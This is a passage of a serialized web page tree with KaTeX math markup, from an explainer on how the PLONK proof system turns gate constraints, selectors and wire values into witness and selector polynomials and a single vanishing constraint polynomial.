",{"type":19,"tag":27,"props":139795,"children":139797},{"className":139796},[1411,1412],[139798],{"type":19,"tag":168,"props":139799,"children":139801},{"className":139800},[1417],[139802],{"type":19,"tag":168,"props":139803,"children":139805},{"className":139804,"ariaHidden":1423},[1422],[139806],{"type":19,"tag":168,"props":139807,"children":139809},{"className":139808},[1428],[139810,139815],{"type":19,"tag":168,"props":139811,"children":139814},{"className":139812,"style":139813},[1433],"height:0.8444em;vertical-align:-0.15em;",[],{"type":19,"tag":168,"props":139816,"children":139818},{"className":139817},[1439],[139819,139824],{"type":19,"tag":168,"props":139820,"children":139822},{"className":139821,"style":90547},[1439,19043],[139823],{"type":24,"value":90550},{"type":19,"tag":168,"props":139825,"children":139827},{"className":139826},[1456],[139828],{"type":19,"tag":168,"props":139829,"children":139831},{"className":139830},[1461,19097],[139832,139862],{"type":19,"tag":168,"props":139833,"children":139835},{"className":139834},[1466],[139836,139857],{"type":19,"tag":168,"props":139837,"children":139839},{"className":139838,"style":91064},[1471],[139840],{"type":19,"tag":168,"props":139841,"children":139843},{"style":139842},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[139844,139848],{"type":19,"tag":168,"props":139845,"children":139847},{"className":139846,"style":1481},[1480],[],{"type":19,"tag":168,"props":139849,"children":139851},{"className":139850},[1486,1487,1488,1489],[139852],{"type":19,"tag":168,"props":139853,"children":139855},{"className":139854},[1439,19043,1489],[139856],{"type":24,"value":1157},{"type":19,"tag":168,"props":139858,"children":139860},{"className":139859},[19200],[139861],{"type":24,"value":19203},{"type":19,"tag":168,"props":139863,"children":139865},{"className":139864},[1466],[139866],{"type":19,"tag":168,"props":139867,"children":139869},{"className":139868,"style":90618},[1471],[139870],{"type":19,"tag":168,"props":139871,"children":139872},{},[],{"type":24,"value":139874},", right input ",{"type":19,"tag":27,"props":139876,"children":139878},{"className":139877},[1411,1412],[139879],{"type":19,"tag":168,"props":139880,"children":139882},{"className":139881},[1417],[139883],{"type":19,"tag":168,"props":139884,"children":139886},{"className":139885,"ariaHidden":1423},[1422],[139887],{"type":19,"tag":168,"props":139888,"children":139890},{"className":139889},[1428],[139891,139895],{"type":19,"tag":168,"props":139892,"children":139894},{"className":139893,"style":107504},[1433],[],{"type":19,"tag":168,"props":139896,"children":139898},{"className":139897},[1439],[139899,139904],{"type":19,"tag":168,"props":139900,"children":139902},{"className":139901,"style":90535},[1439,19043],[139903],{"type":24,"value":91354},{"type":19,"tag":168,"props":139905,"children":139907},{"className":139906},[1456],[139908],{"type":19,"tag":168,"props":139909,"children":139911},{"className":139910},[1461,19097],[139912,139941],{"type":19,"tag":168,"props":139913,"children":139915},{"className":139914},[1466],[139916,139936],{"type":19,"tag":168,"props":139917,"children":139919},{"className":139918,"style":91064},[1471],[139920],{"type":19,"tag":168,"props":139921,"children":139922},{"style":107533},[139923,139927],{"type":19,"tag":168,"props":139924,"children":139926},{"className":139925,"style":1481},[1480],[],{"type":19,"tag":168,"props":139928,"children":139930},{"className":139929},[1486,1487,1488,1489],[139931],{"type":19,"tag":168,"props":139932,"children":139934},{"className":139933},[1439,19043,1489],[139935],{"type":24,"value":1157},{"type":19,"tag":168,"props":139937,"children":139939},{"className":139938},[19200],[139940],{"type":24,"value":19203},{"type":19,"tag":168,"props":139942,"children":139944},{"className":139943},[1466],[139945],{"type":19,"tag":168,"props":139946,"children":139948},{"className":139947,"style":90618},[1471],[139949],{"type":19,"tag":168,"props":139950,"children":139951},{},[],{"type":24,"value":139953},", and output ",{"type":19,"tag":27,"props":139955,"children":139957},{"className":139956},[1411,1412],[139958],{"type":19,"tag":168,"props":139959,"children":139961},{"className":139960},[1417],[139962],{"type":19,"tag":168,"props":139963,"children":139965},{"className":139964,"ariaHidden":1423},[1422],[139966],{"type":19,"tag":168,"props":139967,"children":139969},{"className":139968},[1428],[139970,139974],{"type":19,"tag":168,"props":139971,"children":139973},{"className":139972,"style":107504},[1433],[],{"type":19,"tag":168,"props":139975,"children":139977},{"className":139976},[1439],[139978,139983],{"type":19,"tag":168,"props":139979,"children":139981},{"className":139980},[1439,19043],[139982],{"type":24,"value":90505},{"type":19,"tag":168,"props":139984,"children":139986},{"className":139985},[1456],[139987],{"type":19,"tag":168,"props":139988,"children":139990},{"className":139989},[1461,19097],[139991,140020],{"type":19,"tag":168,"props":139992,"children":139994},{"className":139993},[1466],[139995,140015],{"type":19,"tag":168,"props":139996,"children":139998},{"className":139997,"style":91064},[1471],[139999],{"type":19,"tag":168,"props":140000,"children":140001},{"style":90591},[140002,140006],{"type":19,"tag":168,"props":140003,"children":140005},{"className":140004,"style":1481},[1480],[],{"type":19,"tag":168,"props":140007,"children":140009},{"className":140008},[1486,1487,1488,1489],[140010],{"type":19,"tag":168,"props":140011,"children":140013},{"className":140012},[1439,19043,1489],[140014],{"type":24,"value":1157},{"type":19,"tag":168,"props":140016,"children":140018},{"className":140017},[19200],[140019],{"type":24,"value":19203},{"type":19,"tag":168,"props":140021,"children":140023},{"className":140022},[1466],[140024],{"type":19,"tag":168,"props":140025,"children":140027},{"className":140026,"style":90618},[1471],[140028],{"type":19,"tag":168,"props":140029,"children":140030},{},[],{"type":24,"value":140032},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":19,"tag":20,"props":140034,"children":140035},{},[140036,140038,140043,140045,140149,140151,140254,140256,140261],{"type":24,"value":140037},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":19,"tag":293,"props":140039,"children":140040},{},[140041],{"type":24,"value":140042},"selector",{"type":24,"value":140044}," values that act as switches: setting ",{"type":19,"tag":27,"props":140046,"children":140048},{"className":140047},[1411,1412],[140049],{"type":19,"tag":168,"props":140050,"children":140052},{"className":140051},[1417],[140053],{"type":19,"tag":168,"props":140054,"children":140056},{"className":140055,"ariaHidden":1423},[1422],[140057,140136],{"type":19,"tag":168,"props":140058,"children":140060},{"className":140059},[1428],[140061,140065,140123,140127,140132],{"type":19,"tag":168,"props":140062,"children":140064},{"className":140063,"style":107424},[1433],[],{"type":19,"tag":168,"props":140066,"children":140068},{"className":140067},[1439],[140069,140074],{"type":19,"tag":168,"props":140070,"children":140072},{"className":140071,"style":91021},[1439,19043],[140073],{"type":24,"value":91024},{"type":19,"tag":168,"props":140075,"children":140077},{"className":140076},[1456],[140078],{"type":19,"tag":168,"props":140079,"children":140081},{"className":140080},[1461,19097],[140082,140112],{"type":19,"tag":168,"props":140083,"children":140085},{"className":140084},[1466],[140086,140107],{"type":19,"tag":168,"props":140087,"children":140090},{"className":140088,"style":140089},[1471],"height:0.3283em;",[140091],{"type":19,"tag":168,"props":140092,"children":140093},{"style":91068},[140094,140098],{"type":19,"tag":168,"props":140095,"children":140097},{"className":140096,"style":1481},[1480],[],{"type":19,"tag":168,"props":140099,"children":140101},{"className":140100},[1486,1487,1488,1489],[140102],{"type":19,"tag":168,"props":140103,"children":140105},{"className":140104,"style":92543},[1439,19043,1489],[140106],{"type":24,"value":92546},{"type":19,"tag":168,"props":140108,"children":140110},{"className":140109},[19200],[140111],{"type":24,"value":19203},{"type":19,"tag":168,"props":140113,"children":140115},{"className":140114},[1466],[140116],{"type":19,"tag":168,"props":140117,"children":140119},{"className":140118,"style":90618},[1471],[140120],{"type":19,"tag":168,"props":140121,"children":140122},{},[],{"type":19,"tag":168,"props":140124,"children":140126},{"className":140125,"style":1618},[1520],[],{"type":19,"tag":168,"props":140128,"children":140130},{"className":140129},[1623],[140131],{"type":24,"value":486},{"type":19,"tag":168,"props":140133,"children":140135},{"className":140134,"style":1618},[1520],[],{"type":19,"tag":168,"props":140137,"children":140139},{"className":140138},[1428],[140140,140144],{"type":19,"tag":168,"props":140141,"children":140143},{"className":140142,"style":91566},[1433],[],{"type":19,"tag":168,"props":140145,"children":140147},{"className":140146},[1439],[140148],{"type":24,"value":1442},{"type":24,"value":140150}," makes a row a multiplication gate, setting ",{"type":19,"tag":27,"props":140152,"children":140154},{"className":140153},[1411,1412],[140155],{"type":19,"tag":168,"props":140156,"children":140158},{"className":140157},[1417],[140159],{"type":19,"tag":168,"props":140160,"children":140162},{"className":140161,"ariaHidden":1423},[1422],[140163,140241],{"type":19,"tag":168,"props":140164,"children":140166},{"className":140165},[1428],[140167,140171,140228,140232,140237],{"type":19,"tag":168,"props":140168,"children":140170},{"className":140169,"style":107424},[1433],[],{"type":19,"tag":168,"props":140172,"children":140174},{"className":140173},[1439],[140175,140180],{"type":19,"tag":168,"props":140176,"children":140178},{"className":140177,"style":91021},[1439,19043],[140179],{"type":24,"value":91024},{"type":19,"tag":168,"props":140181,"children":140183},{"className":140182},[1456],[140184],{"type":19,"tag":168,"props":140185,"children":140187},{"className":140186},[1461,19097],[140188,140217],{"type":19,"tag":168,"props":140189,"children":140191},{"className":140190},[1466],[140192,140212],{"type":19,"tag":168,"props":140193,"children":140195},{"className":140194,"style":140089},[1471],[140196],{"type":19,"tag":168,"props":140197,"children":140198},{"style":91068},[140199,140203],{"type":19,"tag":168,"props":140200,"children":140202},{"className":140201,"style":1481},[1480],[],{"type":19,"tag":168,"props":140204,"children":140206},{"className":140205},[1486,1487,1488,1489],[140207],{"type":19,"tag":168,"props":140208,"children":140210},{"className":140209},[1439,19043,1489],[140211],{"type":24,"value":115498},{"type":19,"tag":168,"props":140213,"children":140215},{"className":140214},[19200],[140216],{"type":24,"value":19203},{"type":19,"tag":168,"props":140218,"children":140220},{"className":140219},[1466],[140221],{"type":19,"tag":168,"props":140222,"children":140224},{"className":140223,"style":90618},[1471],[140225],{"type":19,"tag":168,"props":140226,"children":140227},{},[],{"type":19,"tag":168,"props":140229,"children":140231},{"className":140230,"style":1618},[1520],[],{"type":19,"tag":168,"props":140233,"children":140235},{"className":140234},[1623],[140236],{"type":24,"value":486},{"type":19,"tag":168,"props":140238,"children":140240},{"className":140239,"style":1618},[1520],[],{"type":19,"tag":168,"props":140242,"children":140244},{"className":140243},[1428],[140245,140249],{"type":19,"tag":168,"props":140246,"children":140248},{"className":140247,"style":91566},[1433],[],{"type":19,"tag":168,"props":140250,"children":140252},{"className":140251},[1439],[140253],{"type":24,"value":1442},{"type":24,"value":140255}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":19,"tag":293,"props":140257,"children":140258},{},[140259],{"type":24,"value":140260},"permutation argument",{"type":24,"value":140262}," for that, which we will not cover here.",{"type":19,"tag":7050,"props":140264,"children":140266},{"id":140265},"from-many-checks-to-one",[140267],{"type":24,"value":140268},"From many checks to one",{"type":19,"tag":20,"props":140270,"children":140271},{},[140272,140274,140279,140280,140372,140373,140465,140466,140558,140560,140565,140566,140658,140659,140751,140753,140778,140780,140805,140807,140899,140901,140926,140928,140953],{"type":24,"value":140273},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":19,"tag":293,"props":140275,"children":140276},{},[140277],{"type":24,"value":140278},"witness polynomials",{"type":24,"value":3893},{"type":19,"tag":27,"props":140281,"children":140283},{"className":140282},[1411,1412],[140284],{"type":19,"tag":168,"props":140285,"children":140287},{"className":140286},[1417],[140288],{"type":19,"tag":168,"props":140289,"children":140291},{"className":140290,"ariaHidden":1423},[1422],[140292],{"type":19,"tag":168,"props":140293,"children":140295},{"className":140294},[1428],[140296,140300,140357,140362,140367],{"type":19,"tag":168,"props":140297,"children":140299},{"className":140298,"style":1541},[1433],[],{"type":19,"tag":168,"props":140301,"children":140303},{"className":140302},[1439],[140304,140309],{"type":19,"tag":168,"props":140305,"children":140307},{"className":140306,"style":92889},[1439,19043],[140308],{"type":24,"value":30558},{"type":19,"tag":168,"props":140310,"children":140312},{"className":140311},[1456],[140313],{"type":19,"tag":168,"props":140314,"children":140316},{"className":140315},[1461,19097],[140317,140346],{"type":19,"tag":168,"props":140318,"children":140320},{"className":140319},[1466],[140321,140341],{"type":19,"tag":168,"props":140322,"children":140324},{"className":140323,"style":140089},[1471],[140325],{"type":19,"tag":168,"props":140326,"children":140327},{"style":92910},[140328,140332],{"type":19,"tag":168,"props":140329,"children":140331},{"className":140330,"style":1481},[1480],[],{"type":19,"tag":168,"props":140333,"children":140335},{"className":140334},[1486,1487,1488,1489],[140336],{"type":19,"tag":168,"props":140337,"children":140339},{"className":140338},[1439,19043,1489],[140340],{"type":24,"value":115498},{"type":19,"tag":168,"props":140342,"children":140344},{"className":140343},[19200],[140345],{"type":24,"value":19203},{"type":19,"tag":168,"props":140347,"children":140349},{"className":140348},[1466],[140350],{"type":19,"tag":168,"props":140351,"children":140353},{"className":140352,"style":90618},[1471],[140354],{"type":19,"tag":168,"props":140355,"children":140356},{},[],{"type":19,"tag":168,"props":140358,"children":140360},{"className":140359},[19172],[140361],{"type":24,"value":500},{"type":19,"tag":168,"props":140363,"children":140365},{"className":140364},[1439,19043],[140366],{"type":24,"value":16729},{"type":19,"tag":168,"props":140368,"children":140370},{"className":140369},[19194],[140371],{"type":24,"value":524},{"type":24,"value":471},{"type":19,"tag":27,"props":140374,"children":140376},{"className":140375},[1411,1412],[140377],{"type":19,"tag":168,"props":140378,"children":140380},{"className":140379},[1417],[140381],{"type":19,"tag":168,"props":140382,"children":140384},{"className":140383,"ariaHidden":1423},[1422],[140385],{"type":19,"tag":168,"props":140386,"children":140388},{"className":140387},[1428],[140389,140393,140450,140455,140460],{"type":19,"tag":168,"props":140390,"children":140392},{"className":140391,"style":1541},[1433],[],{"type":19,"tag":168,"props":140394,"children":140396},{"className":140395},[1439],[140397,140402],{"type":19,"tag":168,"props":140398,"children":140400},{"className":140399,"style":92889},[1439,19043],[140401],{"type":24,"value":30558},{"type":19,"tag":168,"props":140403,"children":140405},{"className":140404},[1456],[140406],{"type":19,"tag":168,"props":140407,"children":140409},{"className":140408},[1461,19097],[140410,140439],{"type":19,"tag":168,"props":140411,"children":140413},{"className":140412},[1466],[140414,140434],{"type":19,"tag":168,"props":140415,"children":140417},{"className":140416,"style":140089},[1471],[140418],{"type":19,"tag":168,"props":140419,"children":140420},{"style":92910},[140421,140425],{"type":19,"tag":168,"props":140422,"children":140424},{"className":140423,"style":1481},[1480],[],{"type":19,"tag":168,"props":140426,"children":140428},{"className":140427},[1486,1487,1488,1489],[140429],{"type":19,"tag":168,"props":140430,"children":140432},{"className":140431,"style":120311},[1439,19043,1489],[140433],{"type":24,"value":120314},{"type":19,"tag":168,"props":140435,"children":140437},{"className":140436},[19200],[140438],{"type":24,"value":19203},{"type":19,"tag":168,"props":140440,"children":140442},{"className":140441},[1466],[140443],{"type":19,"tag":168,"props":140444,"children":140446},{"className":140445,"style":90618},[1471],[140447],{"type":19,"tag":168,"props":140448,"children":140449},{},[],{"type":19,"tag":168,"props":140451,"children":140453},{"className":140452},[19172],[140454],{"type":24,"value":500},{"type":19,"tag":168,"props":140456,"children":140458},{"className":140457},[1439,19043],[140459],{"type":24,"value":16729},{"type":19,"tag":168,"props":140461,"children":140463},{"className":140462},[19194],[140464],{"type":24,"value":524},{"type":24,"value":471},{"type":19,"tag":27,"props":140467,"children":140469},{"className":140468},[1411,1412],[140470],{"type":19,"tag":168,"props":140471,"children":140473},{"className":140472},[1417],[140474],{"type":19,"tag":168,"props":140475,"children":140477},{"className":140476,"ariaHidden":1423},[1422],[140478],{"type":19,"tag":168,"props":140479,"children":140481},{"className":140480},[1428],[140482,140486,140543,140548,140553],{"type":19,"tag":168,"props":140483,"children":140485},{"className":140484,"style":1541},[1433],[],{"type":19,"tag":168,"props":140487,"children":140489},{"className":140488},[1439],[140490,140495],{"type":19,"tag":168,"props":140491,"children":140493},{"className":140492,"style":92889},[1439,19043],[140494],{"type":24,"value":30558},{"type":19,"tag":168,"props":140496,"children":140498},{"className":140497},[1456],[140499],{"type":19,"tag":168,"props":140500,"children":140502},{"className":140501},[1461,19097],[140503,140532],{"type":19,"tag":168,"props":140504,"children":140506},{"className":140505},[1466],[140507,140527],{"type":19,"tag":168,"props":140508,"children":140510},{"className":140509,"style":140089},[1471],[140511],{"type":19,"tag":168,"props":140512,"children":140513},{"style":92910},[140514,140518],{"type":19,"tag":168,"props":140515,"children":140517},{"className":140516,"style":1481},[1480],[],{"type":19,"tag":168,"props":140519,"children":140521},{"className":140520},[1486,1487,1488,1489],[140522],{"type":19,"tag":168,"props":140523,"children":140525},{"className":140524,"style":90535},[1439,19043,1489],[140526],{"type":24,"value":112853},{"type":19,"tag":168,"props":140528,"children":140530},{"className":140529},[19200],[140531],{"type":24,"value":19203},{"type":19,"tag":168,"props":140533,"children":140535},{"className":140534},[1466],[140536],{"type":19,"tag":168,"props":140537,"children":140539},{"className":140538,"style":90618},[1471],[140540],{"type":19,"tag":168,"props":140541,"children":140542},{},[],{"type":19,"tag":168,"props":140544,"children":140546},{"className":140545},[19172],[140547],{"type":24,"value":500},{"type":19,"tag":168,"props":140549,"children":140551},{"className":140550},[1439,19043],[140552],{"type":24,"value":16729},{"type":19,"tag":168,"props":140554,"children":140556},{"className":140555},[19194],[140557],{"type":24,"value":524},{"type":24,"value":140559}," and the selectors become ",{"type":19,"tag":293,"props":140561,"children":140562},{},[140563],{"type":24,"value":140564},"selector polynomials",{"type":24,"value":3893},{"type":19,"tag":27,"props":140567,"children":140569},{"className":140568},[1411,1412],[140570],{"type":19,"tag":168,"props":140571,"children":140573},{"className":140572},[1417],[140574],{"type":19,"tag":168,"props":140575,"children":140577},{"className":140576,"ariaHidden":1423},[1422],[140578],{"type":19,"tag":168,"props":140579,"children":140581},{"className":140580},[1428],[140582,140586,140643,140648,140653],{"type":19,"tag":168,"props":140583,"children":140585},{"className":140584,"style":1541},[1433],[],{"type":19,"tag":168,"props":140587,"children":140589},{"className":140588},[1439],[140590,140595],{"type":19,"tag":168,"props":140591,"children":140593},{"className":140592},[1439,19043],[140594],{"type":24,"value":74291},{"type":19,"tag":168,"props":140596,"children":140598},{"className":140597},[1456],[140599],{"type":19,"tag":168,"props":140600,"children":140602},{"className":140601},[1461,19097],[140603,140632],{"type":19,"tag":168,"props":140604,"children":140606},{"className":140605},[1466],[140607,140627],{"type":19,"tag":168,"props":140608,"children":140610},{"className":140609,"style":140089},[1471],[140611],{"type":19,"tag":168,"props":140612,"children":140613},{"style":90591},[140614,140618],{"type":19,"tag":168,"props":140615,"children":140617},{"className":140616,"style":1481},[1480],[],{"type":19,"tag":168,"props":140619,"children":140621},{"className":140620},[1486,1487,1488,1489],[140622],{"type":19,"tag":168,"props":140623,"children":140625},{"className":140624,"style":92543},[1439,19043,1489],[140626],{"type":24,"value":92546},{"type":19,"tag":168,"props":140628,"children":140630},{"className":140629},[19200],[140631],{"type":24,"value":19203},{"type":19,"tag":168,"props":140633,"children":140635},{"className":140634},[1466],[140636],{"type":19,"tag":168,"props":140637,"children":140639},{"className":140638,"style":90618},[1471],[140640],{"type":19,"tag":168,"props":140641,"children":140642},{},[],{"type":19,"tag":168,"props":140644,"children":140646},{"className":140645},[19172],[140647],{"type":24,"value":500},{"type":19,"tag":168,"props":140649,"children":140651},{"className":140650},[1439,19043],[140652],{"type":24,"value":16729},{"type":19,"tag":168,"props":140654,"children":140656},{"className":140655},[19194],[140657],{"type":24,"value":524},{"type":24,"value":471},{"type":19,"tag":27,"props":140660,"children":140662},{"className":140661},[1411,1412],[140663],{"type":19,"tag":168,"props":140664,"children":140666},{"className":140665},[1417],[140667],{"type":19,"tag":168,"props":140668,"children":140670},{"className":140669,"ariaHidden":1423},[1422],[140671],{"type":19,"tag":168,"props":140672,"children":140674},{"className":140673},[1428],[140675,140679,140736,140741,140746],{"type":19,"tag":168,"props":140676,"children":140678},{"className":140677,"style":1541},[1433],[],{"type":19,"tag":168,"props":140680,"children":140682},{"className":140681},[1439],[140683,140688],{"type":19,"tag":168,"props":140684,"children":140686},{"className":140685},[1439,19043],[140687],{"type":24,"value":74291},{"type":19,"tag":168,"props":140689,"children":140691},{"className":140690},[1456],[140692],{"type":19,"tag":168,"props":140693,"children":140695},{"className":140694},[1461,19097],[140696,140725],{"type":19,"tag":168,"props":140697,"children":140699},{"className":140698},[1466],[140700,140720],{"type":19,"tag":168,"props":140701,"children":140703},{"className":140702,"style":140089},[1471],[140704],{"type":19,"tag":168,"props":140705,"children":140706},{"style":90591},[140707,140711],{"type":19,"tag":168,"props":140708,"children":140710},{"className":140709,"style":1481},[1480],[],{"type":19,"tag":168,"props":140712,"children":140714},{"className":140713},[1486,1487,1488,1489],[140715],{"type":19,"tag":168,"props":140716,"children":140718},{"className":140717},[1439,19043,1489],[140719],{"type":24,"value":115498},{"type":19,"tag":168,"props":140721,"children":140723},{"className":140722},[19200],[140724],{"type":24,"value":19203},{"type":19,"tag":168,"props":140726,"children":140728},{"className":140727},[1466],[140729],{"type":19,"tag":168,"props":140730,"children":140732},{"className":140731,"style":90618},[1471],[140733],{"type":19,"tag":168,"props":140734,"children":140735},{},[],{"type":19,"tag":168,"props":140737,"children":140739},{"className":140738},[19172],[140740],{"type":24,"value":500},{"type":19,"tag":168,"props":140742,"children":140744},{"className":140743},[1439,19043],[140745],{"type":24,"value":16729},{"type":19,"tag":168,"props":140747,"children":140749},{"className":140748},[19194],[140750],{"type":24,"value":524},{"type":24,"value":140752},", etc., all interpolated over a domain ",{"type":19,"tag":27,"props":140754,"children":140756},{"className":140755},[1411,1412],[140757],{"type":19,"tag":168,"props":140758,"children":140760},{"className":140759},[1417],[140761],{"type":19,"tag":168,"props":140762,"children":140764},{"className":140763,"ariaHidden":1423},[1422],[140765],{"type":19,"tag":168,"props":140766,"children":140768},{"className":140767},[1428],[140769,140773],{"type":19,"tag":168,"props":140770,"children":140772},{"className":140771,"style":19038},[1433],[],{"type":19,"tag":168,"props":140774,"children":140776},{"className":140775,"style":90769},[1439,19043],[140777],{"type":24,"value":90772},{"type":24,"value":140779}," of ",{"type":19,"tag":27,"props":140781,"children":140783},{"className":140782},[1411,1412],[140784],{"type":19,"tag":168,"props":140785,"children":140787},{"className":140786},[1417],[140788],{"type":19,"tag":168,"props":140789,"children":140791},{"className":140790,"ariaHidden":1423},[1422],[140792],{"type":19,"tag":168,"props":140793,"children":140795},{"className":140794},[1428],[140796,140800],{"type":19,"tag":168,"props":140797,"children":140799},{"className":140798,"style":108375},[1433],[],{"type":19,"tag":168,"props":140801,"children":140803},{"className":140802},[1439,19043],[140804],{"type":24,"value":53887},{"type":24,"value":140806},"-th roots of unity. Evaluating ",{"type":19,"tag":27,"props":140808,"children":140810},{"className":140809},[1411,1412],[140811],{"type":19,"tag":168,"props":140812,"children":140814},{"className":140813},[1417],[140815],{"type":19,"tag":168,"props":140816,"children":140818},{"className":140817,"ariaHidden":1423},[1422],[140819],{"type":19,"tag":168,"props":140820,"children":140822},{"className":140821},[1428],[140823,140827,140884,140889,140894],{"type":19,"tag":168,"props":140824,"children":140826},{"className":140825,"style":1541},[1433],[],{"type":19,"tag":168,"props":140828,"children":140830},{"className":140829},[1439],[140831,140836],{"type":19,"tag":168,"props":140832,"children":140834},{"className":140833,"style":92889},[1439,19043],[140835],{"type":24,"value":30558},{"type":19,"tag":168,"props":140837,"children":140839},{"className":140838},[1456],[140840],{"type":19,"tag":168,"props":140841,"children":140843},{"className":140842},[1461,19097],[140844,140873],{"type":19,"tag":168,"props":140845,"children":140847},{"className":140846},[1466],[140848,140868],{"type":19,"tag":168,"props":140849,"children":140851},{"className":140850,"style":140089},[1471],[140852],{"type":19,"tag":168,"props":140853,"children":140854},{"style":92910},[140855,140859],{"type":19,"tag":168,"props":140856,"children":140858},{"className":140857,"style":1481},[1480],[],{"type":19,"tag":168,"props":140860,"children":140862},{"className":140861},[1486,1487,1488,1489],[140863],{"type":19,"tag":168,"props":140864,"children":140866},{"className":140865},[1439,19043,1489],[140867],{"type":24,"value":115498},{"type":19,"tag":168,"props":140869,"children":140871},{"className":140870},[19200],[140872],{"type":24,"value":19203},{"type":19,"tag":168,"props":140874,"children":140876},{"className":140875},[1466],[140877],{"type":19,"tag":168,"props":140878,"children":140880},{"className":140879,"style":90618},[1471],[140881],{"type":19,"tag":168,"props":140882,"children":140883},{},[],{"type":19,"tag":168,"props":140885,"children":140887},{"className":140886},[19172],[140888],{"type":24,"value":500},{"type":19,"tag":168,"props":140890,"children":140892},{"className":140891},[1439,19043],[140893],{"type":24,"value":16729},{"type":19,"tag":168,"props":140895,"children":140897},{"className":140896},[19194],[140898],{"type":24,"value":524},{"type":24,"value":140900}," at the ",{"type":19,"tag":27,"props":140902,"children":140904},{"className":140903},[1411,1412],[140905],{"type":19,"tag":168,"props":140906,"children":140908},{"className":140907},[1417],[140909],{"type":19,"tag":168,"props":140910,"children":140912},{"className":140911,"ariaHidden":1423},[1422],[140913],{"type":19,"tag":168,"props":140914,"children":140916},{"className":140915},[1428],[140917,140921],{"type":19,"tag":168,"props":140918,"children":140920},{"className":140919,"style":139785},[1433],[],{"type":19,"tag":168,"props":140922,"children":140924},{"className":140923},[1439,19043],[140925],{"type":24,"value":1157},{"type":24,"value":140927},"-th root recovers the left wire value at row ",{"type":19,"tag":27,"props":140929,"children":140931},{"className":140930},[1411,1412],[140932],{"type":19,"tag":168,"props":140933,"children":140935},{"className":140934},[1417],[140936],{"type":19,"tag":168,"props":140937,"children":140939},{"className":140938,"ariaHidden":1423},[1422],[140940],{"type":19,"tag":168,"props":140941,"children":140943},{"className":140942},[1428],[140944,140948],{"type":19,"tag":168,"props":140945,"children":140947},{"className":140946,"style":139785},[1433],[],{"type":19,"tag":168,"props":140949,"children":140951},{"className":140950},[1439,19043],[140952],{"type":24,"value":1157},{"type":24,"value":948},{"type":19,"tag":140955,"props":140956,"children":140957},"polynomial-interpolation-panel",{},[],{"type":19,"tag":20,"props":140959,"children":140960},{},[140961,140963,141003,141005,141071,141073,141203,141205,141245,141247,141287,141289,141329,141330,141452],{"type":24,"value":140962},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":19,"tag":27,"props":140964,"children":140966},{"className":140965},[1411,1412],[140967],{"type":19,"tag":168,"props":140968,"children":140970},{"className":140969},[1417],[140971],{"type":19,"tag":168,"props":140972,"children":140974},{"className":140973,"ariaHidden":1423},[1422],[140975],{"type":19,"tag":168,"props":140976,"children":140978},{"className":140977},[1428],[140979,140983,140988,140993,140998],{"type":19,"tag":168,"props":140980,"children":140982},{"className":140981,"style":1541},[1433],[],{"type":19,"tag":168,"props":140984,"children":140986},{"className":140985,"style":19044},[1439,19043],[140987],{"type":24,"value":119312},{"type":19,"tag":168,"props":140989,"children":140991},{"className":140990},[19172],[140992],{"type":24,"value":500},{"type":19,"tag":168,"props":140994,"children":140996},{"className":140995},[1439,19043],[140997],{"type":24,"value":16729},{"type":19,"tag":168,"props":140999,"children":141001},{"className":141000},[19194],[141002],{"type":24,"value":524},{"type":24,"value":141004}," that combines selectors and witnesses. If the prover was honest, ",{"type":19,"tag":27,"props":141006,"children":141008},{"className":141007},[1411,1412],[141009],{"type":19,"tag":168,"props":141010,"children":141012},{"className":141011},[1417],[141013],{"type":19,"tag":168,"props":141014,"children":141016},{"className":141015,"ariaHidden":1423},[1422],[141017,141058],{"type":19,"tag":168,"props":141018,"children":141020},{"className":141019},[1428],[141021,141025,141030,141035,141040,141045,141049,141054],{"type":19,"tag":168,"props":141022,"children":141024},{"className":141023,"style":1541},[1433],[],{"type":19,"tag":168,"props":141026,"children":141028},{"className":141027,"style":19044},[1439,19043],[141029],{"type":24,"value":119312},{"type":19,"tag":168,"props":141031,"children":141033},{"className":141032},[19172],[141034],{"type":24,"value":500},{"type":19,"tag":168,"props":141036,"children":141038},{"className":141037},[1439,19043],[141039],{"type":24,"value":16729},{"type":19,"tag":168,"props":141041,"children":141043},{"className":141042},[19194],[141044],{"type":24,"value":524},{"type":19,"tag":168,"props":141046,"children":141048},{"className":141047,"style":1618},[1520],[],{"type":19,"tag":168,"props":141050,"children":141052},{"className":141051},[1623],[141053],{"type":24,"value":486},{"type":19,"tag":168,"props":141055,"children":141057},{"className":141056,"style":1618},[1520],[],{"type":19,"tag":168,"props":141059,"children":141061},{"className":141060},[1428],[141062,141066],{"type":19,"tag":168,"props":141063,"children":141065},{"className":141064,"style":91566},[1433],[],{"type":19,"tag":168,"props":141067,"children":141069},{"className":141068},[1439],[141070],{"type":24,"value":1452},{"type":24,"value":141072}," at every row index in the domain. The vanishing polynomial ",{"type":19,"tag":27,"props":141074,"children":141076},{"className":141075},[1411,1412],[141077],{"type":19,"tag":168,"props":141078,"children":141080},{"className":141079},[1417],[141081],{"type":19,"tag":168,"props":141082,"children":141084},{"className":141083,"ariaHidden":1423},[1422],[141085,141127,141190],{"type":19,"tag":168,"props":141086,"children":141088},{"className":141087},[1428],[141089,141093,141099,141104,141109,141114,141118,141123],{"type":19,"tag":168,"props":141090,"children":141092},{"className":141091,"style":1541},[1433],[],{"type":19,"tag":168,"props":141094,"children":141096},{"className":141095,"style":19575},[1439,19043],[141097],{"type":24,"value":141098},"Z",{"type":19,"tag":168,"props":141100,"children":141102},{"className":141101},[19172],[141103],{"type":24,"value":500},{"type":19,"tag":168,"props":141105,"children":141107},{"className":141106},[1439,19043],[141108],{"type":24,"value":16729},{"type":19,"tag":168,"props":141110,"children":141112},{"className":141111},[19194],[141113],{"type":24,"value":524},{"type":19,"tag":168,"props":141115,"children":141117},{"className":141116,"style":1618},[1520],[],{"type":19,"tag":168,"props":141119,"children":141121},{"className":141120},[1623],[141122],{"type":24,"value":486},{"type":19,"tag":168,"props":141124,"children":141126},{"className":141125,"style":1618},[1520],[],{"type":19,"tag":168,"props":141128,"children":141130},{"className":141129},[1428],[141131,141136,141177,141181,141186],{"type":19,"tag":168,"props":141132,"children":141135},{"className":141133,"style":141134},[